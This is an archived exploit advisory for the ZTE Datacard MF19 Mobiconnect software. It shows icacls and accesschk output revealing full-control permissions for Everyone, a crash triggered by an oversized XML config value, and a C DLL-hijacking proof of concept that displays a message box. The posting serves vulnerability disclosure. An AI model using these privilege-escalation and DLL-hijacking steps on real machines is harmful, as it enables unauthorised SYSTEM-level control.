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ZTE Datacard MF19 Privilege Escalation / DLL Hijacking

ZTE Datacard MF19 Privilege Escalation / DLL Hijacking
Posted Jan 5, 2015
Authored by Hadji Samir

ZTE Datacard MF19 suffers from privilege escalation and DLL hijacking vulnerabilities.

tags | exploit, vulnerability
systems | windows
advisories | CVE-2015-0974
SHA-256 | 0a58cb293ab6ca5b7c6dd277d515cac9ffd400d28d730f8ccc40983565e47648

ZTE Datacard MF19 Privilege Escalation / DLL Hijacking

Change Mirror Download
    /* 
* Exploit Title:ZTE Datacard MF19 0V1.0.0B04 (PCW_MOBILISALGV1.0.0B03 mobilis ) Insecure Permissions Local Privilege Escalation & PoC Local crash & DLL Hijacking Exploit (mms_dll_r.dll, mediaplayerdll.dll)
* Date: 1/01/2015
* Author: Hadji Samir s-dz@hotmail.fr
* Link soft:http://www.3g.dz/fr/cle_mas/index.php?id_document=2
* Vendor: http://www.zte.com.cn/ http://www.mobilis.dz/entreprises/mobiconnect.php
* Tested on: windows 7 FR
* Thanks Anna




############################# Insecure Permissions Local Privilege Escalation ################################################
Technical Details & Description:
================================
A local privilege escalation vulnerability has been discovered in the official ZTE Datacard mobiconnect application software.
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes.

The application is vulnerable to an elevation of privileges vulnerability which can be used by a simple user that can change
the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the `F` flag (full)
for the `Everyone`(Tout le monde:F) and `Users` group, for the all binary file. The files are installed in the `Ucell Internet`
directory which has the Everyone group assigned to it with full permissions making every single file inside vulnerable to change
by any user on the affected machine. After you replace the binary with your rootkit, on reboot you get SYSTEM privileges.



Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local attackers with restricted account privileges and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs ---

C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\Program Files\Mobiconnect"
C:\Program Files\Mobiconnect
Medium Mandatory Level (Default) [No-Write-Up]
RW Tout le monde
FILE_ALL_ACCESS
RW NT SERVICE\TrustedInstaller
FILE_ALL_ACCESS
RW AUTORITE NT\SystÞme
FILE_ALL_ACCESS
RW BUILTIN\Administrateurs
FILE_ALL_ACCESS
R BUILTIN\Utilisateurs
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL

C:\Users\s-dz\Desktop>


C:\Program Files>icacls "Mobiconnect"
Mobiconnect Tout le monde:(F)
Tout le monde:(OI)(CI)(IO)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
AUTORITE NT\Système:(I)(F)
AUTORITE NT\Système:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F)
BUILTIN\Utilisateurs:(I)(RX)
BUILTIN\Utilisateurs:(I)(OI)(CI)(IO)(GR,GE)
CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)

1 fichiers correctement traités ; échec du traitement de 0 fichiers





2- ########################### PoC Local crash ##########################################################


first go to C:\program files\Internet Mobile\etworkCfg.xml (Network configuration)
and write "A" * 3000 in <ConfigFileName>"A" x 3000</ConfigFileName> . Save it open the program .
poc will crash ...........




##########################################################################################################


3-########################DLL Hijacking Exploit (mms_dll_r.dll, mediaplayerdll.dll)#######################

*/

#include <windows.h>

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
owned();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

int owned() {
MessageBox(0, "ZTE DLL Hijacked\Hadji Samir", "POC", MB_OK);
}

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